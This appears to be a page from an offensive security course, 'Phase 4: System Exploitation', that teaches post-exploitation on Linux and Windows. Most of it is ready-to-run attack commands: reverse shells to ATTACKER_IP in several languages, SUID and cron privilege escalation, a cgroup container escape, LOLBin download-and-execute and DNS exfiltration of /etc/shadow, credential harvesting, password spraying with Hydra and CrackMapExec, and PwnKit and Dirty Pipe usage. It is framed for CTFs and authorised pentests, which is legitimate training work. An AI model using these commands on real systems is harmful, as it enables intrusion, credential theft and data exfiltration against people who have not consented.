kavklaw@llm ~ /learn/phase-4
← Back to Learning Path

Phase 4: System Exploitation

Reverse shells, privilege escalation, container escapes, and pivoting. Low-priv to root.

04

Phase 4: System Exploitation

You have a shell. Now go from low-priv user to root/SYSTEM on both Linux and Windows.

🐚 Getting a Shell

Once you find code execution (the ability to run commands on the target), you need an interactive shell — a command line on the target machine that you can type into. A reverse shell makes the target connect back to your machine (useful when the target is behind a firewall). A bind shell opens a port on the target for you to connect to. Here are the most common reverse shell commands:

# Bash reverse shell
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'

# Python reverse shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# PHP reverse shell
php -r '$s=fsockopen("ATTACKER_IP",PORT);exec("/bin/bash <&3 >&3 2>&3");'

# PowerShell reverse shell
powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"

# Netcat (with -e available)
nc -e /bin/bash ATTACKER_IP PORT

# Netcat (without -e — use named pipe)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc ATTACKER_IP PORT > /tmp/f

# Listener on your machine (catches the incoming connection):
# nc = netcat (network Swiss Army knife)
# -l = listen mode, -v = verbose, -n = no DNS lookup, -p = port number
nc -lvnp PORT
# rlwrap adds readline support (arrow keys, command history) to your listener:
rlwrap nc -lvnp PORT

Upgrading Your Shell

A basic reverse shell is limited — no tab completion, no arrow keys, and Ctrl+C kills the whole session. Upgrading to a full PTY (pseudo-terminal) gives you a proper interactive terminal, just like SSH.

# Step 1: Spawn a PTY (pseudo-terminal — a proper interactive terminal)
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Step 2: Background the shell
Ctrl+Z

# Step 3: Fix terminal settings on attacker
stty raw -echo; fg

# Step 4: Set environment
export TERM=xterm
export SHELL=/bin/bash
stty rows 40 cols 160    # Match your terminal size

# Alternative: script -based PTY
script /dev/null -c bash

🐧 Linux Privilege Escalation — The Complete Guide

You're in as a low-privilege user. Now become root. This is a systematic process — check things in order.

The Methodology (Check These In Order)

  1. sudo -l — Lists what commands you can run as root without a password. Check GTFOBins — a searchable cheat sheet that shows how to abuse common Linux programs for privilege escalation (e.g., if you can run find as root, GTFOBins shows how to use it to spawn a root shell)
  2. SUID binariesfind / -perm -4000 2>/dev/null (explained below)
  3. Capabilitiesgetcap -r / 2>/dev/null (explained below)
  4. Cron jobs — Scheduled tasks that run automatically. cat /etc/crontab, check /etc/cron.*
  5. Writable scripts run by root — if root's cron runs a script you can edit...
  6. Kernel exploitsuname -a → search for known CVEs
  7. Password reuse — Found a password? Try it for root
  8. Internal servicesss -tlnp → anything bound to 127.0.0.1?
  9. Writable /etc/passwd or /etc/shadow — add your own root user
  10. NFS no_root_squash — If the target shares a filesystem via NFS (Network File System) with this misconfigured option, you can mount it on your machine, create a SUID binary as root, then execute it on the target
  11. Docker group membership — instant root (see below)
  12. Path hijacking — If a root-owned script runs a command like backup instead of /usr/bin/backup, you can create your own malicious backup in a directory that's checked first

SUID Exploitation Examples

SUID (Set User ID) is a special Linux permission that makes a program run as the file's owner instead of the person who ran it. If a binary owned by root has the SUID bit set, it runs as root — even when you run it as a regular user. Finding an exploitable SUID binary is one of the most common ways to escalate to root.

# Find SUID binaries
find / -perm -4000 2>/dev/null

# Common SUID escalations (check GTFOBins for each):

# /usr/bin/find (SUID)
find . -exec /bin/bash -p \;

# /usr/bin/vim (SUID)
vim -c ':!/bin/bash'

# /usr/bin/python3 (SUID)
python3 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

# /usr/bin/cp (SUID) — overwrite /etc/passwd
# Generate password hash:
openssl passwd -1 -salt xyz hacker
# Create modified passwd file with root-level user:
echo 'hacker:$1$xyz$...:0:0:root:/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd
su hacker

# /usr/bin/base64 (SUID) — read any file
base64 /etc/shadow | base64 -d

# /usr/bin/env (SUID)
env /bin/bash -p

# Custom/unknown SUID binary? Check:
# - Does it call other programs? (strings, ltrace, strace)
# - Can you inject a library? (LD_PRELOAD, RPATH)
# - Does it read config files you control?
🧠 Knowledge Check — Linux Privilege Escalation
What does the SUID bit do when set on a binary?
The SUID (Set User ID) bit means the binary runs with the file owner's privileges, not the user who executes it. If root owns a SUID binary, anyone who runs it gets root-level execution. This is why find / -perm -4000 is one of the first privesc checks — any SUID binary that can spawn a shell or read/write files gives you root access. Check GTFOBins for exploitation methods.
Complete the command to find all SUID binaries on the system:
Fill in the blank:
$ find /  2>/dev/null
-perm -4000 searches for files with the SUID bit set (4000 in octal). The 2>/dev/null redirects permission errors to keep output clean. Compare the results against GTFOBins to find exploitable binaries. Common exploitable SUID binaries: find, vim, python3, env, base64.

Capabilities Exploitation

Linux capabilities are a finer-grained alternative to SUID — instead of giving a program full root access, capabilities grant specific privileges (like binding to low ports, or changing user IDs). However, some capabilities are just as dangerous as full root if assigned to the wrong program.

# Find capabilities — look for programs that have been given extra privileges
getcap -r / 2>/dev/null

# cap_setuid — can change UID
# python3 with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_dac_read_search — can read any file
# tar with cap_dac_read_search:
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
cat /tmp/etc/shadow

# cap_net_raw — can sniff network traffic
# tcpdump with cap_net_raw (capture credentials):
tcpdump -i eth0 -A port 80 | grep -i "pass\|user"

# cap_sys_admin — very powerful
# mount filesystems, load kernel modules, etc.

Cron Job Exploitation

# Check all cron locations
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
crontab -l                    # Current user's cron
ls -la /var/spool/cron/crontabs/   # All user crontabs

# Use pspy (process spy) to watch for processes that run periodically
# — it monitors the proc filesystem, so no root needed!
./pspy64 -pf -i 1000

# Exploitation scenarios:

# 1. Writable script in cron
# If /opt/backup.sh runs as root and you can edit it:
echo 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1' >> /opt/backup.sh

# 2. Wildcard injection (tar with *)
# If cron runs: cd /home/user && tar czf /tmp/backup.tar.gz *
# Create these files:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh shell.sh'
echo 'bash -i >& /dev/tcp/YOUR_IP/9001 0>&1' > shell.sh

# 3. PATH manipulation
# If cron script calls 'backup' without full path (/usr/bin/backup):
# And you can write to a directory earlier in PATH:
echo '#!/bin/bash' > /tmp/backup
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/backup
chmod +x /tmp/backup
export PATH=/tmp:$PATH
# Automated enumeration
# LinPEAS — the gold standard
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash

# pspy — watch processes without root
./pspy64 -pf -i 1000   # See what runs periodically

# Linux Smart Enumeration
curl -sL https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh | bash

🐳 Docker & Container Escape Techniques

Containers are everywhere. If you land inside a Docker container, here's how to escape. If you find the target user is in the docker group, it's basically instant root.

Am I in a Container?

# Signs you're in a Docker container:
ls -la /.dockerenv              # This file exists?
cat /proc/1/cgroup | grep docker  # "docker" in cgroup paths?
hostname                        # Random hex string? (e.g., a1b2c3d4e5f6)
cat /proc/1/sched | head -1     # PID 1 is not "init"?
mount | grep overlay            # Overlay filesystem?
ip addr                         # Only eth0 and lo? (no physical NICs)
ls /dev                         # Fewer devices than normal?

Docker Group → Root

# If your user is in the 'docker' group, you can mount the host filesystem:
id    # Check: uid=1000(user) gid=1000(user) groups=...,999(docker)

# Mount host filesystem and chroot:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# You now have a root shell on the HOST

# Or just read sensitive files:
docker run -v /:/mnt --rm alpine cat /mnt/etc/shadow
docker run -v /:/mnt --rm alpine cat /mnt/root/root.txt

# Add your SSH key:
docker run -v /:/mnt --rm alpine sh -c 'echo "YOUR_PUBLIC_KEY" >> /mnt/root/.ssh/authorized_keys'

Container Escape — Privileged Containers

# If the container runs with --privileged:
# You have access to host devices!
fdisk -l                        # List host disks
mount /dev/sda1 /mnt            # Mount host filesystem
chroot /mnt                     # Root shell on host!

# Or via cgroups:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
echo "#!/bin/bash" > /cmd
echo "bash -i >& /dev/tcp/YOUR_IP/9001 0>&1" >> /cmd
chmod +x /cmd
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Container Escape — Exposed Docker Socket

# If /var/run/docker.sock is mounted inside the container:
ls -la /var/run/docker.sock

# Use it to create a privileged container:
# Install docker CLI or use curl:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

# Create a new container with host filesystem:
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Mounts":[{"Type":"bind","Source":"/","Target":"/mnt"}],"Privileged":true}'
🧠 Knowledge Check — Docker Escape & PrivEsc
Why does membership in the docker group effectively give you root access?
Docker group members can run docker run -v /:/mnt --rm -it alpine chroot /mnt sh — this mounts the entire host filesystem and gives you a root shell on the host. The Docker daemon runs as root, so containers can access host resources. This is why the docker group should be treated as equivalent to root access in security assessments.

🏠 Living Off the Land Binaries (LOLBins)

"Living Off the Land" means using tools that are already installed on the system instead of uploading your own. LOLBins are legitimate, trusted system binaries (like certutil, curl, or python3) that can be repurposed for offensive tasks — file transfers, code execution, data exfiltration, or persistence. Security tools are less likely to flag these because they're normal programs doing "normal" things. This is how you operate when you can't upload tools to the target.

Linux LOLBins

# File download (when wget/curl aren't available):
# Using bash built-ins:
exec 3<>/dev/tcp/YOUR_IP/8888; echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: YOUR_IP\r\n\r\n" >&3; cat <&3 > /tmp/linpeas.sh

# Using python:
python3 -c "import urllib.request; urllib.request.urlretrieve('http://YOUR_IP:8888/linpeas.sh', '/tmp/linpeas.sh')"

# Using perl:
perl -e 'use File::Fetch; File::Fetch->new(uri=>"http://YOUR_IP:8888/file")->fetch(to=>"/tmp/")'

# Using php:
php -r 'file_put_contents("/tmp/file", file_get_contents("http://YOUR_IP:8888/file"));'

# File exfiltration:
# Base64 encode → copy-paste:
base64 /etc/shadow
cat /etc/shadow | xxd -p       # Hex encode

# Via DNS (bypasses most firewalls!):
cat /etc/shadow | xxd -p | head -c 60 | xargs -I{} nslookup {}.YOUR_DOMAIN

# Code execution without writing files:
# Bash process substitution:
bash <(curl -s http://YOUR_IP:8888/script.sh)

# Python from stdin:
curl -s http://YOUR_IP:8888/payload.py | python3

# Perl one-liner:
perl -e 'exec "/bin/bash"'

Windows LOLBins

# File download:
certutil -urlcache -split -f http://YOUR_IP:8888/payload.exe C:\Temp\payload.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://YOUR_IP/nc.exe','C:\Temp\nc.exe')"
bitsadmin /transfer job /download /priority high http://YOUR_IP/file C:\Temp\file
curl http://YOUR_IP/file -o C:\Temp\file     # Windows 10+

# Code execution:
mshta http://YOUR_IP/payload.hta
rundll32 \\YOUR_IP\share\payload.dll,EntryPoint
regsvr32 /s /n /u /i:http://YOUR_IP/payload.sct scrobj.dll

# Reconnaissance (without suspicious tools):
systeminfo
net user
net localgroup administrators
net share
wmic qfe list                  # Installed patches
wmic product get name          # Installed software
wmic service get name,pathname # Service paths (look for unquoted)
Get-Process | Select ProcessName, Path   # PowerShell

# Check https://lolbas-project.github.io/ for the full list!

🪟 Windows Privilege Escalation

Key Checks

# System info
systeminfo
whoami /priv          # Check token privileges
whoami /groups        # Group memberships
whoami /all           # Everything

# Service exploitation
sc qc ServiceName     # Check service config
# Look for: unquoted paths, writable service binaries
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"

# Unquoted service path exploitation:
# If path is: C:\Program Files\My App\service.exe
# Windows tries: C:\Program.exe, C:\Program Files\My.exe, etc.
# Place your payload at one of those paths!

# Always Install Elevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# If both = 1: msiexec /quiet /qn /i payload.msi

# Scheduled tasks
schtasks /query /fo LIST /v

# Stored credentials
cmdkey /list
# If found: runas /savecred /user:admin cmd.exe

# AutoRun programs
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Check if any point to writable locations

# DLL hijacking — find missing DLLs
# Use Process Monitor, filter for "NAME NOT FOUND" on DLL loads
# Place your malicious DLL in the application directory
💡 Key privilege: If you see SeImpersonatePrivilege in whoami /priv, you can likely escalate to SYSTEM using tools like JuicyPotato, PrintSpoofer, or GodPotato. This privilege is common for service accounts and IIS application pools.

Token Impersonation Attacks

Windows uses "tokens" to track a user's security context (who they are and what they can do). Token impersonation lets a process "borrow" another user's token — including SYSTEM (the highest privilege on Windows). If your account has the SeImpersonatePrivilege, tools like PrintSpoofer and GodPotato can trick a SYSTEM-level process into authenticating to you, then steal its token.

# Check for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege:
whoami /priv

# PrintSpoofer (Windows 10/Server 2019+):
PrintSpoofer.exe -i -c cmd

# GodPotato (latest, most reliable):
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "C:\Temp\nc.exe YOUR_IP 9001 -e cmd"

# JuicyPotato (older systems):
JuicyPotato.exe -l 1337 -p C:\Temp\nc.exe -a "YOUR_IP 9001 -e cmd" -t *

🔧 Port Forwarding & Pivoting

Once you have access to one machine, use it as a "pivot" to reach other machines on internal networks that you can't access directly. Port forwarding tunnels traffic through the compromised host, letting you interact with internal services as if you were on the same network.

# SSH local port forward (access internal service through compromised host)
ssh -L 8080:INTERNAL_IP:80 user@compromised
# Now http://localhost:8080 on YOUR machine → port 80 on INTERNAL_IP

# SSH dynamic SOCKS proxy (route all traffic through compromised host)
ssh -D 1080 user@compromised
# Configure Burp/browser to use SOCKS5 proxy at 127.0.0.1:1080

# Chisel — a tunneling tool that works over HTTP (no SSH needed — great for limited shells)
# On attacker:
chisel server -p 8000 --reverse
# On target:
chisel client YOUR_IP:8000 R:8080:127.0.0.1:80
# Now YOUR_IP:8080 → target's localhost:80

# Ligolo-ng — modern, fast network tunneling tool (creates a full tunnel, not just port forwards)
# On attacker:
ligolo-proxy -selfcert
# On target:
ligolo-agent -connect YOUR_IP:11601 -ignore-cert
# In ligolo console: configure tunnel routes

💣 Kernel Exploits

When nothing else works — no SUID abuse, no writable cron, no sudo misconfig — kernel exploits are the nuclear option. These attack vulnerabilities in the Linux kernel itself to gain root. They're powerful but risky: a failed kernel exploit can crash the entire system. In a real engagement, this is your last resort.

Kernel Exploit Workflow


  ┌─────────────────────────────────────────────────────────────────┐
  │              KERNEL EXPLOIT WORKFLOW                            │
  ├─────────────────────────────────────────────────────────────────┤
  │                                                                 │
  │  1. IDENTIFY KERNEL VERSION                                     │
  │     ┌──────────────────────────────┐                            │
  │     │  $ uname -a                  │                            │
  │     │  $ cat /etc/os-release       │                            │
  │     │  $ cat /proc/version         │                            │
  │     └──────────────┬───────────────┘                            │
  │                    │                                            │
  │                    ▼                                            │
  │  2. SEARCH FOR EXPLOITS                                         │
  │     ┌──────────────────────────────┐                            │
  │     │  $ searchsploit linux kernel │                            │
  │     │    [kernel version]          │                            │
  │     │  Google: "kernel X.Y.Z       │                            │
  │     │    privilege escalation"     │                            │
  │     │  Check linux-exploit-        │                            │
  │     │    suggester.sh              │                            │
  │     └──────────────┬───────────────┘                            │
  │                    │                                            │
  │                    ▼                                            │
  │  3. DOWNLOAD & COMPILE                                         │
  │     ┌──────────────────────────────┐                            │
  │     │  Transfer .c to target       │                            │
  │     │  $ gcc exploit.c -o exploit  │                            │
  │     │  (or compile on attacker     │                            │
  │     │   with matching arch)        │                            │
  │     └──────────────┬───────────────┘                            │
  │                    │                                            │
  │                    ▼                                            │
  │  4. RUN & PRAY                                                 │
  │     ┌──────────────────────────────┐                            │
  │     │  $ chmod +x exploit          │                            │
  │     │  $ ./exploit                 │                            │
  │     │  # whoami → root (hopefully) │                            │
  │     └──────────────────────────────┘                            │
  │                                                                 │
  └─────────────────────────────────────────────────────────────────┘

Step 1: Identify the Kernel

# Get kernel version
uname -a
# Example output: Linux target 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux

# OS release info
cat /etc/os-release
cat /etc/issue
lsb_release -a

# Detailed kernel info
cat /proc/version

# Architecture matters for compiling
uname -m     # x86_64, i686, aarch64

Step 2: Search for Exploits

# searchsploit (local copy of Exploit-DB)
searchsploit linux kernel 5.4 privilege escalation
searchsploit linux kernel 5.4 local

# Copy exploit to current directory
searchsploit -m 50808    # -m = mirror (copy to pwd)

# Linux Exploit Suggester (automated)
# Download: https://github.com/The-Z-Labs/linux-exploit-suggester
./linux-exploit-suggester.sh --uname "$(uname -a)"

# Linux Exploit Suggester 2 (Perl version)
perl les2.pl

# Manual research
# Google: "Linux [kernel version] privilege escalation CVE"
# Check: https://www.exploit-db.com/

Step 3: Compile and Run

# If gcc is on target — compile directly
gcc exploit.c -o exploit -static
# -static links all libraries into the binary (no dependency issues)

# If no gcc on target — cross-compile on attacker
# For x86_64 target:
gcc -o exploit exploit.c -static -m64

# Transfer to target
# On attacker:
python3 -m http.server 8888
# On target:
wget http://ATTACKER_IP:8888/exploit
# or
curl http://ATTACKER_IP:8888/exploit -o /tmp/exploit

# Run it
chmod +x /tmp/exploit
/tmp/exploit
whoami   # root?

Famous Kernel Exploits

Dirty Pipe (CVE-2022-0847) — Linux 5.8 to 5.16.11

One of the cleanest kernel exploits ever. Overwrites data in read-only files by abusing a flaw in Linux pipe handling. Can overwrite /etc/passwd to set root's password, or overwrite any SUID binary. Very stable — rarely crashes the system.

# Check if vulnerable
uname -r    # Kernel 5.8 to 5.16.11 (before patches)

# Get the exploit
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits
gcc exploit-1.c -o dirtypipe

# Method 1: Overwrite /etc/passwd (set root password)
./dirtypipe /etc/passwd 1 "${oot_replacement_string}"

# Method 2: Hijack a SUID binary
./dirtypipe-2    # Overwrites /usr/bin/su, run 'su' for root shell

# Why it's special:
# - Works on read-only files
# - Doesn't corrupt filesystem
# - Very reliable
# - Changes are in memory only (revert on reboot)

Dirty COW (CVE-2016-5195) — Linux 2.6.22 to 4.8.3

A race condition in the kernel's copy-on-write (COW) memory mechanism. Existed for 9 years before discovery. Allows writing to read-only memory mappings. Multiple exploit variants exist.

# Check if vulnerable
uname -r    # Kernel 2.6.22 to 4.8.3 (very common on old systems)

# Variant 1: Overwrite /etc/passwd
# https://www.exploit-db.com/exploits/40839
gcc -pthread 40839.c -o dirtycow -lcrypt
./dirtycow    # Creates user 'firefart' with root UID

# Variant 2: PTRACE_POKEDATA (write to any file)
# https://www.exploit-db.com/exploits/40616
gcc -pthread 40616.c -o cowroot
./cowroot

# WARNING: Dirty COW can be unstable!
# - Race condition means it might need multiple attempts
# - Can corrupt files if interrupted
# - Old kernels may behave unpredictably
# - ALWAYS have a backup plan

PwnKit (CVE-2021-4034) — pkexec (polkit)

Not technically a kernel exploit but a SUID binary exploit in pkexec (part of PolicyKit/polkit). Affects virtually every Linux distro from 2009 to 2022. Extremely reliable. This is the first exploit you should try on any unpatched Linux box.

# Check if vulnerable
ls -la /usr/bin/pkexec          # SUID bit set?
dpkg -l policykit-1 2>/dev/null  # Check version
rpm -qa polkit 2>/dev/null

# Pre-compiled versions available
# https://github.com/ly4k/PwnKit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit    # instant root shell

# Or compile from source
gcc cve-2021-4034.c -o pwnkit
./pwnkit

# Why it's the best:
# - Works on almost any Linux box (2009-2022)
# - No race condition — 100% reliable
# - Instant root
# - Clean — no system corruption
⚠️ Stability Warning: Kernel exploits can crash the target system. In a real penetration test, always get written permission before using kernel exploits, inform the client of the risk, and save them for last resort. In CTFs, go nuts — the VMs are disposable. When possible, prefer PwnKit and Dirty Pipe over Dirty COW — they're much more stable.
🧠 Knowledge Check — Kernel Exploits
Why are kernel exploits considered the "last resort" in privilege escalation?
Kernel exploits attack the core of the operating system. A failed exploit can cause kernel panics, system crashes, or data corruption. Race-condition exploits like Dirty COW are particularly unpredictable. In professional pentests, always try safer methods first (sudo misconfig, SUID, cron jobs) and save kernel exploits for when nothing else works. Always inform the client before using them.

🔑 Credential Harvesting

Once you have a shell — even a low-privilege one — your first order of business is hunting for credentials. Passwords, API keys, tokens, SSH keys — these are scattered all over real-world systems. Finding one password can unlock everything. This is the most important post-exploitation skill you can develop.

Configuration Files — The Goldmine

# Web application configs (these almost always contain DB passwords)
cat /var/www/html/.env                      # Laravel, Node.js, etc.
cat /var/www/html/wp-config.php             # WordPress
cat /var/www/html/config/database.yml       # Ruby on Rails
cat /var/www/html/settings.py               # Django
cat /var/www/html/application.properties    # Java Spring
cat /var/www/html/config.php                # Generic PHP apps
cat /var/www/html/web.config                # ASP.NET (IIS)
cat /var/www/html/.htpasswd                 # Apache basic auth passwords

# Database configuration
cat /etc/mysql/my.cnf                       # MySQL config
cat /etc/postgresql/*/main/pg_hba.conf      # PostgreSQL auth config
cat /var/lib/pgsql/data/pg_hba.conf         # PostgreSQL (RHEL)

# CMS and app-specific locations
find / -name "wp-config.php" 2>/dev/null
find / -name ".env" 2>/dev/null
find / -name "config.php" 2>/dev/null
find / -name "database.yml" 2>/dev/null
find / -name "settings.py" 2>/dev/null
find / -name "application.properties" 2>/dev/null

Command History — What Users Have Typed

# Bash history (the #1 place to find passwords)
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null

# People type passwords in commands ALL THE TIME:
# mysql -u root -pP@ssw0rd123
# sshpass -p 'hunter2' ssh [email protected]
# curl -u admin:s3cret http://internal-api/
# echo 'password123' | sudo -S command

# Other history files
cat ~/.mysql_history              # MySQL commands
cat ~/.psql_history               # PostgreSQL commands
cat ~/.python_history             # Python REPL
cat ~/.node_repl_history          # Node.js REPL
cat ~/.rediscli_history           # Redis CLI
cat ~/.dbshell                    # MongoDB shell history

# Search ALL history files at once
find / -name ".*_history" -o -name ".*history" 2>/dev/null | xargs cat 2>/dev/null

SSH Keys — Passwordless Access

# Find SSH private keys (these give you access to other machines)
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "id_dsa" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null

# Check SSH configs for hosts
cat ~/.ssh/config                # Saved SSH connections
cat ~/.ssh/known_hosts           # Hosts this user has connected to
cat ~/.ssh/authorized_keys       # Who can log in as this user

# Check all users' SSH directories
ls -laR /home/*/.ssh/ 2>/dev/null
ls -laR /root/.ssh/ 2>/dev/null

# If you find a private key:
chmod 600 id_rsa
ssh -i id_rsa user@target

Automated Credential Hunting

# grep for passwords in files
grep -rli "password" /var/www/ 2>/dev/null
grep -rli "passwd" /etc/ 2>/dev/null
grep -rli "pass=" /opt/ 2>/dev/null
grep -rli "DB_PASSWORD\|DB_PASS\|MYSQL_PASSWORD" /var/www/ 2>/dev/null

# grep for specific patterns
grep -rn "password\s*=" /var/www/ 2>/dev/null
grep -rn "api[_-]?key" /opt/ /var/www/ 2>/dev/null
grep -rn "secret\s*=" /var/www/ 2>/dev/null
grep -rn "token\s*=" /opt/ 2>/dev/null

# Find recently modified files (recently edited configs often have creds)
find / -name "*.conf" -mtime -7 2>/dev/null
find / -name "*.cfg" -mtime -7 2>/dev/null
find / -name "*.ini" -mtime -7 2>/dev/null

# Find files owned by root that are world-readable
find /etc -type f -perm -004 -exec grep -li "pass" {} \; 2>/dev/null

# Backup files often contain credentials
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.save" 2>/dev/null
find / -name "*.sql" -o -name "*.sql.gz" 2>/dev/null   # DB dumps

# Environment variables
env
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i pass

# Look in /tmp and /dev/shm (attackers and admins leave stuff here)
ls -la /tmp/
ls -la /dev/shm/

Browser & Application Stored Credentials

# Firefox stored credentials
find / -name "logins.json" 2>/dev/null
find / -name "key4.db" 2>/dev/null
# Use firefox_decrypt to extract: https://github.com/unode/firefox_decrypt

# Chrome stored credentials (Linux)
find / -name "Login Data" 2>/dev/null    # SQLite database
# Usually at: ~/.config/google-chrome/Default/Login Data

# Windows stored creds
# Credential Manager
cmdkey /list
# SAM database (needs SYSTEM-level access)
reg save HKLM\SAM sam.bak
reg save HKLM\SYSTEM system.bak
# Then extract with impacket-secretsdump on attacker:
# impacket-secretsdump -sam sam.bak -system system.bak LOCAL

# Windows WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="WiFiName" key=clear

# Memory dumps (if you have root/SYSTEM)
# Linux: /proc/[pid]/maps and /proc/[pid]/mem
# Windows: procdump, comsvcs MiniDump
💡 Pro Tip: In real pentests, credential harvesting is often more valuable than exploiting a vulnerability. One database password from a .env file can lead to credentials reused across the entire network. Spend time here — it pays off more than anything else.

🔄 Password Reuse & Spray

You found a password. Now what? Try it everywhere. Password reuse is the #1 privilege escalation vector in real environments. People use the same password for their database, their SSH login, their domain account, and their email. One password can unlock the entire network.

The Password Reuse Methodology

# Found: DBpassword123 from a WordPress config
# Now test it against everything:

# 1. Try it for root on this machine
su root                         # Enter the password
sudo -S id <<< "DBpassword123" # Pipe it to sudo

# 2. Try it for ALL users on this machine
cat /etc/passwd | grep -v nologin | grep -v false | cut -d: -f1
# For each user:
su username

# 3. Try it on SSH for other machines you've discovered
ssh [email protected]
ssh [email protected]

# 4. Try variations
# DBpassword123 → DBpassword124
# DBpassword123 → DBpassword2024
# DBpassword123 → Dbpassword123!

CrackMapExec — Spray Across Services

# CrackMapExec (CME) / NetExec — test one password against many targets

# SSH spray (test password against all hosts in a subnet)
crackmapexec ssh 10.10.10.0/24 -u admin -p 'DBpassword123'

# SMB spray (Windows/Active Directory)
crackmapexec smb 10.10.10.0/24 -u admin -p 'DBpassword123'
crackmapexec smb 10.10.10.0/24 -u users.txt -p 'DBpassword123'  # Many users, one password

# WinRM spray
crackmapexec winrm 10.10.10.0/24 -u admin -p 'DBpassword123'

# Test multiple passwords against multiple users
crackmapexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --no-bruteforce
# --no-bruteforce pairs users[i] with passwords[i] (same position)
# Without flag: tests every user against every password (careful — lockouts!)

# Build your password list from what you've found
echo "DBpassword123" > found_passwords.txt
echo "admin123" >> found_passwords.txt
echo "Welcome1" >> found_passwords.txt

Hydra — Multi-Service Password Testing

# Hydra can test passwords against many protocols

# SSH with a list of passwords
hydra -l admin -P found_passwords.txt ssh://10.10.10.5

# FTP
hydra -l admin -P found_passwords.txt ftp://10.10.10.5

# MySQL
hydra -l root -P found_passwords.txt mysql://10.10.10.5

# SMB
hydra -l admin -P found_passwords.txt smb://10.10.10.5

# RDP
hydra -l admin -P found_passwords.txt rdp://10.10.10.5

# Multiple users
hydra -L users.txt -P found_passwords.txt ssh://10.10.10.5 -t 4
# -t 4 limits to 4 concurrent connections (avoid lockouts)
💡 Real Talk: In professional pentests, password reuse gets you further than any exploit. The scenario looks like this: find MySQL password in wp-config.php → same password works for SSH → same password works for the admin's domain account → domain admin in 20 minutes. The technical exploits get you in the door; password reuse gets you the keys to the building.

🔓 Sudo Exploitation Deep Dive

sudo -l is the single most important command in Linux privilege escalation. It tells you exactly what you can run as root. But understanding the output and knowing all the exploitation angles takes practice.

Parsing sudo -l Output

# Run sudo -l and read the output carefully
sudo -l

# Example output:
# Matching Defaults entries for user on target:
#     env_reset, mail_badpass, env_keep+=LD_PRELOAD
#
# User user may run the following commands on target:
#     (ALL) NOPASSWD: /usr/bin/find
#     (ALL : ALL) NOPASSWD: /usr/bin/vim
#     (root) NOPASSWD: /opt/scripts/backup.sh
#     (ALL) NOPASSWD: /usr/bin/env
#     (ALL) /usr/bin/less

# Key things to notice:
# (ALL) NOPASSWD: = run as any user without password
# (root) = can only run as root
# (ALL : ALL) = can run as any user AND any group
# NOPASSWD: = no password needed
# If NOPASSWD is missing, you need the CURRENT user's password

# Check GTFOBins for EVERY binary you see:
# https://gtfobins.github.io/

GTFOBins Workflow

# For each binary in sudo -l:
# 1. Go to https://gtfobins.github.io/
# 2. Search for the binary name
# 3. Click "Sudo" section
# 4. Follow the command

# Common GTFOBins sudo escalations:

# /usr/bin/find
sudo find . -exec /bin/bash \; -quit

# /usr/bin/vim
sudo vim -c ':!/bin/bash'

# /usr/bin/less
sudo less /etc/shadow
# Then type: !/bin/bash

# /usr/bin/more
sudo more /etc/shadow
# Then type: !/bin/bash

# /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'

